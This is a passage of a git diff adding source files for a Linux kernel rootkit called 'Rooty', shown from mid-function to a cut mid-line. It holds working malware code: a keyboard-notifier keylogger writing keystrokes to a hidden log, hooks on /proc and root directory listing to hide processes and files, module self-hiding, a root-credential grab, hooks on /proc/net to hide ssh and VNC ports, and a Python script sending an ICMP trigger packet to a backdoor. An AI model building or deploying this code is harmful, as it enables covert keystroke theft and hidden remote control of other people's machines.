struct keyboard_notifier_param *param, char *buf ) +{ + unsigned long len; + unsigned char val = param->value & 0xff; + //printk("rooty: KEYLOGGER: ksym_arw: %s\n",arrows[val]); + len = strlcpy(&logbuf[logidx], arrows[val], LOGSIZE - logidx); + logidx += len; +} + +static void ksym_mod ( struct keyboard_notifier_param *param, char *buf ) +{ + unsigned long len; + unsigned char val = param->value & 0xff; + //printk("rooty: KEYLOGGER: ksym_mod: %s\n",mod[val]); + len = strlcpy(&logbuf[logidx], arrows[val], LOGSIZE - logidx); + logidx += len; +} + +static void ksym_cap ( struct keyboard_notifier_param *param, char *buf ) +{ + unsigned long len; + //printk("rooty: KEYLOGGER: ksym_cap: \n"); + len = strlcpy(&logbuf[logidx], "", LOGSIZE - logidx); + logidx += len; +} + +void translate_keysym ( struct keyboard_notifier_param *param, char *buf ) +{ + unsigned char type = (param->value >> 8) & 0x0f; + + if ( logidx >= LOGSIZE ) + { + printk("rooty: KEYLOGGER: Failed to log key, buffer is full\n"); + return; + } + + switch ( type ) + { + case 0x0: + ksym_std(param, buf); + break; + + case 0x1: + ksym_fnc(param, buf); + break; + + case 0x2: + ksym_loc(param, buf); + break; + + case 0x3: + ksym_num(param, buf); + break; + + case 0x6: + ksym_arw(param, buf); + break; + + case 0x7: + ksym_mod(param, buf); + break; + + case 0xa: + ksym_cap(param, buf); + break; + + case 0xb: + ksym_std(param, buf); + break; + } + + if ( logidx >= FLUSHSIZE && to_flush == 0 ) + { + to_flush = 1; + wake_up_interruptible(&flush_event); + } +} + +int flusher ( void *data ) +{ + loff_t pos = 0; + mm_segment_t old_fs; + ssize_t ret; + + while (1) + { + wait_event_interruptible(flush_event, (to_flush == 1) || kthread_should_stop()); + if(kthread_should_stop()) + return 0; + if (logfile) + { + old_fs = get_fs(); + set_fs(get_ds()); + ret = vfs_write(logfile, logbuf, logidx, &pos); + set_fs(old_fs); + } + to_flush = 0; + logidx = 0; + } + + return 0; +} + +int notify ( struct notifier_block *nblock, unsigned long code, void *_param ) +{ + struct keyboard_notifier_param *param = _param; + if ( logfile && param->down ) + { + switch ( code ) + { + case KBD_KEYCODE: + break; + + case KBD_UNBOUND_KEYCODE: + case KBD_UNICODE: + break; + + case KBD_KEYSYM: + translate_keysym(param, logbuf); + break; + + case KBD_POST_KEYSYM: + break; + + default: + printk("rooty: KEYLOGGER: Received unknown code: %lu\n",code); + break; + } + } + + return NOTIFY_OK; +} + +static struct notifier_block nb = +{ + .notifier_call = notify +}; + +void init_keylogger(void) +{ + printk("rooty: Installing keyboard sniffer\n"); + + register_keyboard_notifier(&nb); + + logfile = filp_open(LOG_FILE, O_WRONLY|O_APPEND|O_CREAT, S_IRWXU); + if ( ! logfile ) + printk("rooty: KEYLOGGER: Failed to open log file: %s", LOG_FILE); + + log_ts = kthread_run(flusher, NULL, "kthread"); + hide_proc(log_ts->pid); +} + +void stop_keylogger(void) +{ + printk("rooty: Uninstalling keyboard sniffer\n"); + unhide_proc(log_ts->pid); + kthread_stop(log_ts); + + if ( logfile ) + filp_close(logfile, NULL); + unregister_keyboard_notifier(&nb); +} diff --git a/Linux/Rootkits/Rooty/keymap.h b/Linux/Rootkits/Rooty/keymap.h new file mode 100644 index 0000000..cedcf27 --- /dev/null +++ b/Linux/Rootkits/Rooty/keymap.h @@ -0,0 +1,414 @@ +#define KEY_NUL "" +#define KEY_SOH "" +#define KEY_STX "" +#define KEY_ETX "" +#define KEY_EOT "" +#define KEY_ENQ "" +#define KEY_ACK "" +#define KEY_BEL "" +#define KEY_BS "" +#define KEY_TAB "" +#define KEY_LF "" +#define KEY_VT "" +#define KEY_FF "" +#define KEY_CR "" +#define KEY_SO "" +#define KEY_SI "" +#define KEY_DLE "" +#define KEY_DC1 "" +#define KEY_DC2 "" +#define KEY_DC3 "" +#define KEY_DC4 "" +#define KEY_NAK "" +#define KEY_SYN "" +#define KEY_ETB "" +#define KEY_CAN "" +#define KEY_EM "" +#define KEY_SUB "" +#define KEY_ESC "" +#define KEY_FS "" +#define KEY_GS "" +#define KEY_RS "" +#define KEY_US "" +#define KEY_SPCE " " +#define KEY_EXCL "!" +#define KEY_DQUO "\"" +#define KEY_HASH "#" +#define KEY_DLLR "$" +#define KEY_PERC "%" +#define KEY_AMPR "&" +#define KEY_SQUO "'" +#define KEY_LPAR "(" +#define KEY_RPAR ")" +#define KEY_STAR "*" +#define KEY_PLUS "+" +#define KEY_COMA "," +#define KEY_HYPH "-" +#define KEY_PERI "." +#define KEY_FWSL "/" +#define KEY_0 "0" +#define KEY_1 "1" +#define KEY_2 "2" +#define KEY_3 "3" +#define KEY_4 "4" +#define KEY_5 "5" +#define KEY_6 "6" +#define KEY_7 "7" +#define KEY_8 "8" +#define KEY_9 "9" +#define KEY_COLN ":" +#define KEY_SEMI ";" +#define KEY_LESS "<" +#define KEY_EQUL "=" +#define KEY_MORE ">" +#define KEY_QUES "?" +#define KEY_AT "@" +#define KEY_U_A "A" +#define KEY_U_B "B" +#define KEY_U_C "C" +#define KEY_U_D "D" +#define KEY_U_E "E" +#define KEY_U_F "F" +#define KEY_U_G "G" +#define KEY_U_H "H" +#define KEY_U_I "I" +#define KEY_U_J "J" +#define KEY_U_K "K" +#define KEY_U_L "L" +#define KEY_U_M "M" +#define KEY_U_N "N" +#define KEY_U_O "O" +#define KEY_U_P "P" +#define KEY_U_Q "Q" +#define KEY_U_R "R" +#define KEY_U_S "S" +#define KEY_U_T "T" +#define KEY_U_U "U" +#define KEY_U_V "V" +#define KEY_U_W "W" +#define KEY_U_X "X" +#define KEY_U_Y "Y" +#define KEY_U_Z "Z" +#define KEY_OSBR "[" +#define KEY_BKSL "\\" +#define KEY_CSBR "]" +#define KEY_CART "^" +#define KEY_USCR "_" +#define KEY_ACNT "`" +#define KEY_L_A "a" +#define KEY_L_B "b" +#define KEY_L_C "c" +#define KEY_L_D "d" +#define KEY_L_E "e" +#define KEY_L_F "f" +#define KEY_L_G "g" +#define KEY_L_H "h" +#define KEY_L_I "i" +#define KEY_L_J "j" +#define KEY_L_K "k" +#define KEY_L_L "l" +#define KEY_L_M "m" +#define KEY_L_N "n" +#define KEY_L_O "o" +#define KEY_L_P "p" +#define KEY_L_Q "q" +#define KEY_L_R "r" +#define KEY_L_S "s" +#define KEY_L_T "t" +#define KEY_L_U "u" +#define KEY_L_V "v" +#define KEY_L_W "w" +#define KEY_L_X "x" +#define KEY_L_Y "y" +#define KEY_L_Z "z" +#define KEY_OCLY "{" +#define KEY_PIPE "|" +#define KEY_CCLY "}" +#define KEY_TLDE "~" +#define KEY_DEL "" +#define KEY_UNKNOWN "" +#define KEY_HOME "" +#define KEY_INSERT "" +#define KEY_DELETE "" +#define KEY_END "" +#define KEY_PGUP "" +#define KEY_PGDN "" +#define KEY_BREAK "" +#define KEY_F1 "" +#define KEY_F2 "" +#define KEY_F3 "" +#define KEY_F4 "" +#define KEY_F5 "" +#define KEY_F6 "" +#define KEY_F7 "" +#define KEY_F8 "" +#define KEY_F9 "" +#define KEY_F10 "" +#define KEY_F11 "" +#define KEY_F12 "" +#define KEY_LALT "" +#define KEY_RALT "" +#define KEY_CTRL "" +#define KEY_SHIFT "" +#define KEY_ENTER "" +#define KEY_UPARW "" +#define KEY_DWNARW "" +#define KEY_LFTARW "" +#define KEY_RGTARW "" +#define KEY_CLEAR "" +#define KEY_NUMLOCK "" +#define KEY_SCROLLOCK "" +#define KEY_PRNTSCRN "" + +char *numpad[16]= +{ + KEY_INSERT, + KEY_END, + KEY_DWNARW, + KEY_PGDN, + KEY_LFTARW, + KEY_CLEAR, + KEY_RGTARW, + KEY_HOME, + KEY_UPARW, + KEY_PGUP, + KEY_PLUS, + KEY_HYPH, + KEY_STAR, + KEY_FWSL, + KEY_ENTER, + KEY_DEL +}; + +char *locpad[16]= +{ + KEY_PRNTSCRN, + KEY_ENTER, + KEY_UNKNOWN, + KEY_UNKNOWN, + KEY_UNKNOWN, + KEY_UNKNOWN, + KEY_UNKNOWN, + KEY_UNKNOWN, + KEY_NUMLOCK, + KEY_SCROLLOCK, + KEY_UNKNOWN, + KEY_UNKNOWN, + KEY_UNKNOWN, + KEY_UNKNOWN, + KEY_UNKNOWN, + KEY_UNKNOWN +}; + +char *mod[16]= +{ + KEY_SHIFT, + KEY_LALT, + KEY_CTRL, + KEY_RALT, + KEY_UNKNOWN, + KEY_UNKNOWN, + KEY_UNKNOWN, + KEY_UNKNOWN, + KEY_UNKNOWN, + KEY_UNKNOWN, + KEY_UNKNOWN, + KEY_UNKNOWN, + KEY_UNKNOWN, + KEY_UNKNOWN, + KEY_UNKNOWN, + KEY_UNKNOWN +}; + +char *arrows[16]= +{ + KEY_LFTARW, + KEY_RGTARW, + KEY_DWNARW, + KEY_UPARW, + KEY_UNKNOWN, + KEY_UNKNOWN, + KEY_UNKNOWN, + KEY_UNKNOWN, + KEY_UNKNOWN, + KEY_UNKNOWN, + KEY_UNKNOWN, + KEY_UNKNOWN, + KEY_UNKNOWN, + KEY_UNKNOWN, + KEY_UNKNOWN, + KEY_UNKNOWN +}; + + +char *ascii[128]= +{ + KEY_NUL, + KEY_SOH, + KEY_STX, + KEY_ETX, + KEY_EOT, + KEY_ENQ, + KEY_ACK, + KEY_BEL, + KEY_BS, + KEY_TAB, + KEY_LF, + KEY_VT, + KEY_FF, + KEY_CR, + KEY_SO, + KEY_SI, + KEY_DLE, + KEY_DC1, + KEY_DC2, + KEY_DC3, + KEY_DC4, + KEY_NAK, + KEY_SYN, + KEY_ETB, + KEY_CAN, + KEY_EM, + KEY_SUB, + KEY_ESC, + KEY_FS, + KEY_GS, + KEY_RS, + KEY_US, + KEY_SPCE, + KEY_EXCL, + KEY_DQUO, + KEY_HASH, + KEY_DLLR, + KEY_PERC, + KEY_AMPR, + KEY_SQUO, + KEY_LPAR, + KEY_RPAR, + KEY_STAR, + KEY_PLUS, + KEY_COMA, + KEY_HYPH, + KEY_PERI, + KEY_FWSL, + KEY_0, + KEY_1, + KEY_2, + KEY_3, + KEY_4, + KEY_5, + KEY_6, + KEY_7, + KEY_8, + KEY_9, + KEY_COLN, + KEY_SEMI, + KEY_LESS, + KEY_LESS, + KEY_MORE, + KEY_QUES, + KEY_AT, + KEY_U_A, + KEY_U_B, + KEY_U_C, + KEY_U_D, + KEY_U_E, + KEY_U_F, + KEY_U_G, + KEY_U_H, + KEY_U_I, + KEY_U_J, + KEY_U_K, + KEY_U_L, + KEY_U_M, + KEY_U_N, + KEY_U_O, + KEY_U_P, + KEY_U_Q, + KEY_U_R, + KEY_U_S, + KEY_U_T, + KEY_U_U, + KEY_U_V, + KEY_U_W, + KEY_U_X, + KEY_U_Y, + KEY_U_Z, + KEY_OSBR, + KEY_BKSL, + KEY_CSBR, + KEY_CART, + KEY_USCR, + KEY_ACNT, + KEY_L_A, + KEY_L_B, + KEY_L_C, + KEY_L_D, + KEY_L_E, + KEY_L_F, + KEY_L_G, + KEY_L_H, + KEY_L_I, + KEY_L_J, + KEY_L_K, + KEY_L_L, + KEY_L_M, + KEY_L_N, + KEY_L_O, + KEY_L_P, + KEY_L_Q, + KEY_L_R, + KEY_L_S, + KEY_L_T, + KEY_L_U, + KEY_L_V, + KEY_L_W, + KEY_L_X, + KEY_L_Y, + KEY_L_Z, + KEY_OCLY, + KEY_PIPE, + KEY_CCLY, + KEY_TLDE, + KEY_DEL +}; + +char *upper[16] = +{ + KEY_UNKNOWN, + KEY_UNKNOWN, + KEY_UNKNOWN, + KEY_UNKNOWN, + KEY_HOME, + KEY_INSERT, + KEY_DELETE, + KEY_END, + KEY_PGUP, + KEY_PGDN, + KEY_UNKNOWN, + KEY_UNKNOWN, + KEY_UNKNOWN, + KEY_BREAK, + KEY_UNKNOWN, + KEY_UNKNOWN +}; + +char *fncs[16] = +{ + KEY_F1, + KEY_F2, + KEY_F3, + KEY_F4, + KEY_F5, + KEY_F6, + KEY_F7, + KEY_F8, + KEY_F9, + KEY_F10, + KEY_F11, + KEY_F12, + KEY_UNKNOWN, + KEY_UNKNOWN, + KEY_UNKNOWN, + KEY_UNKNOWN +}; diff --git a/Linux/Rootkits/Rooty/modules.order b/Linux/Rootkits/Rooty/modules.order new file mode 100644 index 0000000..d65b452 --- /dev/null +++ b/Linux/Rootkits/Rooty/modules.order @@ -0,0 +1 @@ +kernel//home/jermey/Dropbox/Studia/INÅ»/rooty/rooty.ko diff --git a/Linux/Rootkits/Rooty/ping.py b/Linux/Rootkits/Rooty/ping.py new file mode 100644 index 0000000..0d1e2f4 --- /dev/null +++ b/Linux/Rootkits/Rooty/ping.py @@ -0,0 +1,58 @@ +#!/usr/bin/env python + +import socket +import sys +import os +from struct import * +import time + +AUTH = 0xDEC0ADDE + +#src_ip = sys.argv[2] +dst_ip = sys.argv[1] + +def checksum(str): + + csum = 0 + countTo = (len(str) / 2) * 2 + + count = 0 + while count < countTo: + thisVal = ord(str[count+1]) * 256 + ord(str[count]) + csum = csum + thisVal + csum = csum & 0xffffffffL # + count = count + 2 + + if countTo < len(str): + csum = csum + ord(str[len(str) - 1]) + csum = csum & 0xffffffffL # + + csum = (csum >> 16) + (csum & 0xffff) + csum = csum + (csum >> 16) + answer = ~csum + answer = answer & 0xffff + + answer = answer >> 8 | (answer << 8 & 0xff00) + + return answer + + +try: + sd = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.getprotobyname("icmp")) +except socket.error, msg: + print 'Socket could not be created. Err code: ' + str(msg[0]) + ' Message ' + msg[1] + exit() + +packet = ''; + +dst_ip = socket.gethostbyname(dst_ip) +ID = os.getpid() & 0xFFFF +my_checksum = 0 + +header = pack("bbHHh", 8, 0, my_checksum, ID, 1) +data = pack("!I", AUTH); +my_checksum = checksum(header + data) +header = pack("bbHHh", 8, 0, socket.htons(my_checksum), ID, 1) +packet = header + data + +sd.sendto(packet, (dst_ip, 0)) \ No newline at end of file diff --git a/Linux/Rootkits/Rooty/proc_fs_hide.h b/Linux/Rootkits/Rooty/proc_fs_hide.h new file mode 100644 index 0000000..0b0ee25 --- /dev/null +++ b/Linux/Rootkits/Rooty/proc_fs_hide.h @@ -0,0 +1,252 @@ +struct hidden_proc +{ + unsigned short pid; + struct list_head list; +}; + +struct hidden_file +{ + char *name; + struct list_head list; +}; + +struct n_subprocess_info +{ + struct work_struct work; + struct completion *complete; + char *path; + char **argv; + char **envp; + int wait; + int retval; + int (*init)(struct subprocess_info *info); + void (*cleanup)(struct subprocess_info *info); + void *data; + pid_t pid; +}; + +LIST_HEAD(hidden_procs); +LIST_HEAD(hidden_files); + +static int (*proc_filldir)(void *__buf, const char *name, int namelen, loff_t offset, u64 ino, unsigned d_type); +static int (*root_filldir)(void *__buf, const char *name, int namelen, loff_t offset, u64 ino, unsigned d_type); + +static int (*proc_iterate)(struct file *file, void *dirent, filldir_t filldir); +static int (*root_iterate)(struct file *file, void *dirent, filldir_t filldir); + +static int callmodule_pid; + +struct n_subprocess_info *n_call_usermodehelper_setup(char *path, char **argv, + char **envp, gfp_t gfp_mask); + +static inline int n_call_usermodehelper_fns(char *path, char **argv, char **envp, + int wait, + int (*init)(struct subprocess_info *info), + void (*cleanup)(struct subprocess_info *), void *data) +{ + struct subprocess_info *info; + struct n_subprocess_info *n_info; + gfp_t gfp_mask = (wait == UMH_NO_WAIT) ? GFP_ATOMIC : GFP_KERNEL; + int ret; + + populate_rootfs_wait(); + + n_info = n_call_usermodehelper_setup(path, argv, envp, gfp_mask); + info = (struct subprocess_info *) n_info; + + if (info == NULL) + return -ENOMEM; + + call_usermodehelper_setfns(info, init, cleanup, data); + ret = call_usermodehelper_exec(info, wait); + callmodule_pid = n_info->pid; + + + return ret; +} + +static inline int n_call_usermodehelper(char *path, char **argv, char **envp, int wait) +{ + return n_call_usermodehelper_fns(path, argv, envp, wait, + NULL, NULL, NULL); +} + + +static void n__call_usermodehelper(struct work_struct *work) +{ + struct n_subprocess_info *n_sub_info = + container_of(work, struct n_subprocess_info, work); + int wait = n_sub_info->wait; + pid_t pid; + struct subprocess_info *sub_info; + + int (*ptrwait_for_helper)(void *data); + int (*ptr____call_usermodehelper)(void *data); + + ptrwait_for_helper = (void*)kallsyms_lookup_name("wait_for_helper"); + ptr____call_usermodehelper = (void*)kallsyms_lookup_name("____call_usermodehelper"); + + sub_info = (struct subprocess_info *)n_sub_info; + + if (wait == UMH_WAIT_PROC) + pid = kernel_thread((*ptrwait_for_helper), sub_info, + CLONE_FS | CLONE_FILES | SIGCHLD); + else + pid = kernel_thread((*ptr____call_usermodehelper), sub_info, + CLONE_VFORK | SIGCHLD); + + callmodule_pid = pid; + n_sub_info->pid = pid; + + switch (wait) + { + case UMH_NO_WAIT: + call_usermodehelper_freeinfo(sub_info); + break; + + case UMH_WAIT_PROC: + if (pid > 0) + break; + case UMH_WAIT_EXEC: + if (pid < 0) + sub_info->retval = pid; + complete(sub_info->complete); + } +} + + +struct n_subprocess_info *n_call_usermodehelper_setup(char *path, char **argv, + char **envp, gfp_t gfp_mask) +{ + struct n_subprocess_info *sub_infoB; + sub_infoB = kzalloc(sizeof(struct n_subprocess_info), gfp_mask); + if (!sub_infoB) + return sub_infoB; + + INIT_WORK(&sub_infoB->work, n__call_usermodehelper); + sub_infoB->path = path; + sub_infoB->argv = argv; + sub_infoB->envp = envp; + + return sub_infoB; +} + + + +static int n_root_filldir( void *__buf, const char *name, int namelen, loff_t offset, u64 ino, unsigned d_type ) +{ + struct hidden_file *hf; + + list_for_each_entry ( hf, &hidden_files, list ) + if ( ! strcmp(name, hf->name) ) + return 0; + + return root_filldir(__buf, name, namelen, offset, ino, d_type); +} + +int n_root_iterate ( struct file *file, void *dirent, filldir_t filldir ) +{ + int ret; + + root_filldir = filldir; + hijack_pause(root_iterate); + ret = root_iterate(file, dirent, n_root_filldir); + hijack_resume(root_iterate); + + return ret; +} + +static int n_proc_filldir( void *__buf, const char *name, int namelen, loff_t offset, u64 ino, unsigned d_type ) +{ + struct hidden_proc *hp; + char *endp; + long pid; + + pid = simple_strtol(name, &endp, 10); + list_for_each_entry ( hp, &hidden_procs, list ) + if ( pid == hp->pid ) + return 0; + + return proc_filldir(__buf, name, namelen, offset, ino, d_type); +} + +int n_proc_iterate ( struct file *file, void *dirent, filldir_t filldir ) +{ + int ret; + + proc_filldir = filldir; + hijack_pause(proc_iterate); + ret = proc_iterate(file, dirent, n_proc_filldir); + hijack_resume(proc_iterate); + + return ret; +} + +void *get_vfs_iterate ( const char *path ) +{ + void *ret; + struct file *filep; + + if ( (filep = filp_open(path, O_RDONLY, 0)) == NULL ) + return NULL; + + ret = filep->f_op->readdir; + filp_close(filep, 0); + + return ret; +} + +void hide_file ( char *name ) +{ + struct hidden_file *hf; + + hf = kmalloc(sizeof(*hf), GFP_KERNEL); + if ( ! hf ) + return; + hf->name = name; + + list_add(&hf->list, &hidden_files); +} + +void unhide_file ( char *name ) +{ + struct hidden_file *hf; + + list_for_each_entry ( hf, &hidden_files, list ) + { + if ( !strcmp(name, hf->name) ) + { + list_del(&hf->list); + kfree(hf->name); + kfree(hf); + break; + } + } +} + +void hide_proc ( unsigned short pid ) +{ + struct hidden_proc *hp; + + hp = kmalloc(sizeof(*hp), GFP_KERNEL); + if ( ! hp ) + return; + hp->pid = pid; + + list_add(&hp->list, &hidden_procs); +} + +void unhide_proc ( unsigned short pid ) +{ + struct hidden_proc *hp; + + list_for_each_entry ( hp, &hidden_procs, list ) + { + if ( pid == hp->pid ) + { + list_del(&hp->list); + kfree(hp); + break; + } + } +} diff --git a/Linux/Rootkits/Rooty/rooty b/Linux/Rootkits/Rooty/rooty new file mode 100644 index 0000000..e69de29 diff --git a/Linux/Rootkits/Rooty/rooty.c b/Linux/Rootkits/Rooty/rooty.c new file mode 100644 index 0000000..c4c9403 --- /dev/null +++ b/Linux/Rootkits/Rooty/rooty.c @@ -0,0 +1,132 @@ +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#include "syscall_table.h" +#include "proc_fs_hide.h" +#include "socket_hide.h" +#include "keymap.h" +#include "keylogger.h" +#include "ssh.h" +#include "ioctl.h" + +MODULE_LICENSE("GPL"); + +int rooty_init(void); +void rooty_exit(void); +module_init(rooty_init); +module_exit(rooty_exit); + +int rooty_init(void) +{ + printk("rooty: Module loaded\n"); + // Do kernel module hiding + list_del_init(&__this_module.list); + kobject_del(&THIS_MODULE->mkobj.kobj); + + // Find the sys_call_table address in kernel memory + if ((syscall_table = (unsigned long *) find_sys_call_table())) + { + printk("rooty: sys_call_table found at %p\n", syscall_table); + } + else + { + printk("rooty: sys_call_table not found, aborting\n"); + return 0; + } + + // get root previlages + root_me(); + + // Hook /proc for hiding processes + proc_iterate = get_vfs_iterate("/proc"); + hijack_start(proc_iterate, &n_proc_iterate); + + // Hook / for hiding files and directories + root_iterate = get_vfs_iterate("/"); + hijack_start(root_iterate, &n_root_iterate); + + // init socket hiding + // Hook /proc/net/tcp for hiding tcp4 connections + tcp4_seq_show = get_tcp_seq_show("/proc/net/tcp"); + hijack_start(tcp4_seq_show, &n_tcp4_seq_show); + + // Hook /proc/net/tcp6 for hiding tcp6 connections + tcp6_seq_show = get_tcp_seq_show("/proc/net/tcp6"); + hijack_start(tcp6_seq_show, &n_tcp6_seq_show); + + // Hook /proc/net/udp for hiding udp4 connections + udp4_seq_show = get_udp_seq_show("/proc/net/udp"); + hijack_start(udp4_seq_show, &n_udp4_seq_show); + + // Hook /proc/net/udp6 for hiding udp4 connections + udp6_seq_show = get_udp_seq_show("/proc/net/udp6"); + hijack_start(udp6_seq_show, &n_udp6_seq_show); + + // Hook inet_ioctl() for rootkit control + inet_ioctl = get_inet_ioctl(AF_INET, SOCK_STREAM, IPPROTO_TCP); + hijack_start(inet_ioctl, &n_inet_ioctl); + + // Init keylogger, store keylog in /.keylog + init_keylogger(); + + // Init userspace ssh server with ICMP watchdog service + init_ssh(); + + // hide rootkit files + hide_file("sshd"); + hide_file("vncd"); + hide_file("rooty.ko"); + hide_file("ioctl"); + + // hide sshd ports + hide_tcp4_port(22); + hide_udp4_port(22); + + //hide vncd ports + hide_tcp4_port(5900); + hide_udp4_port(5900); + hide_tcp6_port(5900); + hide_udp6_port(5900); + + return 0; +} + +void rooty_exit(void) +{ + stop_ssh(); + stop_keylogger(); + hijack_stop(inet_ioctl); + hijack_stop(udp6_seq_show); + hijack_stop(udp4_seq_show); + hijack_stop(tcp6_seq_show); + hijack_stop(tcp4_seq_show); + hijack_stop(root_iterate); + hijack_stop(proc_iterate); + printk("rooty: Module unloaded\n"); +} diff --git a/Linux/Rootkits/Rooty/rooty.ko b/Linux/Rootkits/Rooty/rooty.ko new file mode 100644 index 0000000..8f6e6c3 Binary files /dev/null and b/Linux/Rootkits/Rooty/rooty.ko differ diff --git a/Linux/Rootkits/Rooty/rooty.mod.c b/Linux/Rootkits/Rooty/rooty.mod.c new file mode 100644 index 0000000..916da90 --- /dev/null +++ b/Linux/Rootkits/Rooty/rooty.mod.c @@ -0,0 +1,76 @@ +#include +#include +#include + +MODULE_INFO(vermagic, VERMAGIC_STRING); + +struct module __this_module +__attribute__((section(".gnu.linkonce.this_module"))) = { + .name = KBUILD_MODNAME, + .init = init_module, +#ifdef CONFIG_MODULE_UNLOAD + .exit = cleanup_module, +#endif + .arch = MODULE_ARCH_INIT, +}; + +static const struct modversion_info ____versions[] +__used +__attribute__((section("__versions"))) = { + { 0xab465258, "module_layout" }, + { 0x81a5e22a, "kobject_del" }, + { 0xcdffd70a, "sock_release" }, + { 0xef9e3355, "sock_create" }, + { 0x806efb2e, "nf_unregister_hook" }, + { 0x597a8f75, "nf_register_hook" }, + { 0x5bfc03c3, "unregister_keyboard_notifier" }, + { 0xaac60944, "kthread_stop" }, + { 0x4d1cbe1e, "wake_up_process" }, + { 0x91dd4461, "kthread_create_on_node" }, + { 0x13b2a946, "register_keyboard_notifier" }, + { 0x362ef408, "_copy_from_user" }, + { 0x76584577, "call_usermodehelper_exec" }, + { 0x145a9a89, "call_usermodehelper_setfns" }, + { 0x4ff1c9bc, "populate_rootfs_wait" }, + { 0x29720c94, "send_sig_info" }, + { 0xc2a82694, "pid_task" }, + { 0xb57b00dd, "find_vpid" }, + { 0x548dd3f1, "filp_close" }, + { 0xef38dc8f, "filp_open" }, + { 0x12da5bb2, "__kmalloc" }, + { 0xb5fb870b, "commit_creds" }, + { 0x941ed3f8, "prepare_creds" }, + { 0x5152e605, "memcmp" }, + { 0x37a0cba, "kfree" }, + { 0x4c2ae700, "strnstr" }, + { 0x91715312, "sprintf" }, + { 0xf0fdf6cb, "__stack_chk_fail" }, + { 0xbd6d4a8a, "kmem_cache_alloc_trace" }, + { 0x4ec0494, "kmalloc_caches" }, + { 0x53f2d94, "pv_cpu_ops" }, + { 0xb742fd7, "simple_strtol" }, + { 0xe2d5255a, "strcmp" }, + { 0x73e20c1c, "strlcpy" }, + { 0xe45f60d8, "__wake_up" }, + { 0x50eedeb8, "printk" }, + { 0x19a9e62b, "complete" }, + { 0x35af86fa, "call_usermodehelper_freeinfo" }, + { 0x7e9ebb05, "kernel_thread" }, + { 0xe007de41, "kallsyms_lookup_name" }, + { 0x42dc7959, "vfs_write" }, + { 0x75bb675a, "finish_wait" }, + { 0x622fa02a, "prepare_to_wait" }, + { 0x4292364c, "schedule" }, + { 0xc8b57c27, "autoremove_wake_function" }, + { 0xd2965f6f, "kthread_should_stop" }, + { 0x5359bcde, "current_task" }, + { 0xb4390f9a, "mcount" }, +}; + +static const char __module_depends[] +__used +__attribute__((section(".modinfo"))) = +"depends="; + + +MODULE_INFO(srcversion, "360DBC2801F107CEFF8B9CD"); diff --git a/Linux/Rootkits/Rooty/rooty.mod.o b/Linux/Rootkits/Rooty/rooty.mod.o new file mode 100644 index 0000000..2580163 Binary files /dev/null and b/Linux/Rootkits/Rooty/rooty.mod.o differ diff --git a/Linux/Rootkits/Rooty/rooty.o b/Linux/Rootkits/Rooty/rooty.o new file mode 100644 index 0000000..f9c09d5 Binary files /dev/null and b/Linux/Rootkits/Rooty/rooty.o differ diff --git a/Linux/Rootkits/Rooty/socket_hide.h b/Linux/Rootkits/Rooty/socket_hide.h new file mode 100644 index 0000000..11dc8a1 --- /dev/null +++ b/Linux/Rootkits/Rooty/socket_hide.h @@ -0,0 +1,251 @@ +#define TMPSZ 150 + +struct s_port_args +{ + unsigned short port; +}; + +struct hidden_port +{ + unsigned short port; + struct list_head list; +}; + +LIST_HEAD(hidden_tcp4_ports); +LIST_HEAD(hidden_tcp6_ports); +LIST_HEAD(hidden_udp4_ports); +LIST_HEAD(hidden_udp6_ports); + +static int (*tcp4_seq_show)(struct seq_file *seq, void *v); +static int (*tcp6_seq_show)(struct seq_file *seq, void *v); +static int (*udp4_seq_show)(struct seq_file *seq, void *v); +static int (*udp6_seq_show)(struct seq_file *seq, void *v); + +void *get_tcp_seq_show ( const char *path ) +{ + void *ret; + struct file *filep; + struct tcp_seq_afinfo *afinfo; + + if ( (filep = filp_open(path, O_RDONLY, 0)) == NULL ) + return NULL; + + afinfo = PDE(filep->f_dentry->d_inode)->data; + ret = afinfo->seq_ops.show; + filp_close(filep, 0); + + return ret; +} + +void *get_udp_seq_show ( const char *path ) +{ + void *ret; + struct file *filep; + struct udp_seq_afinfo *afinfo; + + if ( (filep = filp_open(path, O_RDONLY, 0)) == NULL ) + return NULL; + + afinfo = PDE(filep->f_dentry->d_inode)->data; + ret = afinfo->seq_ops.show; + filp_close(filep, 0); + + return ret; +} + +void hide_tcp4_port ( unsigned short port ) +{ + struct hidden_port *hp; + + hp = kmalloc(sizeof(*hp), GFP_KERNEL); + if ( ! hp ) + return; + hp->port = port; + + list_add(&hp->list, &hidden_tcp4_ports); +} + +void unhide_tcp4_port ( unsigned short port ) +{ + struct hidden_port *hp; + + list_for_each_entry ( hp, &hidden_tcp4_ports, list ) + { + if ( port == hp->port ) + { + list_del(&hp->list); + kfree(hp); + break; + } + } +} + +void hide_tcp6_port ( unsigned short port ) +{ + struct hidden_port *hp; + + hp = kmalloc(sizeof(*hp), GFP_KERNEL); + if ( ! hp ) + return; + hp->port = port; + list_add(&hp->list, &hidden_tcp6_ports); +} + +void unhide_tcp6_port ( unsigned short port ) +{ + struct hidden_port *hp; + + list_for_each_entry ( hp, &hidden_tcp6_ports, list ) + { + if ( port == hp->port ) + { + list_del(&hp->list); + kfree(hp); + break; + } + } +} + +void hide_udp4_port ( unsigned short port ) +{ + struct hidden_port *hp; + + hp = kmalloc(sizeof(*hp), GFP_KERNEL); + if ( ! hp ) + return; + hp->port = port; + list_add(&hp->list, &hidden_udp4_ports); +} + +void unhide_udp4_port ( unsigned short port ) +{ + struct hidden_port *hp; + + list_for_each_entry ( hp, &hidden_udp4_ports, list ) + { + if ( port == hp->port ) + { + list_del(&hp->list); + kfree(hp); + break; + } + } +} + +void hide_udp6_port ( unsigned short port ) +{ + struct hidden_port *hp; + + hp = kmalloc(sizeof(*hp), GFP_KERNEL); + if ( ! hp ) + return; + hp->port = port; + list_add(&hp->list, &hidden_udp6_ports); +} + +void unhide_udp6_port ( unsigned short port ) +{ + struct hidden_port *hp; + + list_for_each_entry ( hp, &hidden_udp6_ports, list ) + { + if ( port == hp->port ) + { + list_del(&hp->list); + kfree(hp); + break; + } + } +} + +static int n_tcp4_seq_show ( struct seq_file *seq, void *v ) +{ + int ret = 0; + char port[12]; + struct hidden_port *hp; + + hijack_pause(tcp4_seq_show); + ret = tcp4_seq_show(seq, v); + hijack_resume(tcp4_seq_show); + + list_for_each_entry ( hp, &hidden_tcp4_ports, list ) + { + sprintf(port, ":%04X", hp->port); + if ( strnstr(seq->buf + seq->count - TMPSZ, port, 